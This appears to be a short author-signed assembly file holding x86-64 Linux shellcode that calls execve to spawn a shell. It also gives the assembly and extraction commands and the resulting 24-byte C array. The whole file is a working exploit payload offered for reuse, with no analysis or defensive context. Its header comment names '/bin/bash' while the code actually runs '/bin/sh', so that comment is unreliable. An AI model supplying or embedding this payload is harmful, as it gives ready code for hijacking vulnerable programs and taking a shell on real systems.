.intel_syntax noprefix #execve("/bin/bash",{NULL},{NULL}) .text .global _start _start: mov rax, 0x68732f6e69622f push rax push rsp pop rdi xor eax, eax push rax mov al, 59 push rsp pop rdx push rsp pop rsi syscall # as -o sc.o sc.s # objcopy -O binary -j .text sc.o sc.bin # xxd -i -n sc sc.bin # unsigned char sc[] = { # 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x50, 0x54, # 0x5f, 0x31, 0xc0, 0x50, 0xb0, 0x3b, 0x54, 0x5a, 0x54, 0x5e, 0x0f, 0x05 # }; # unsigned int sc_len = 24; # Fnknda<joao[at]fukuda[dot]sh>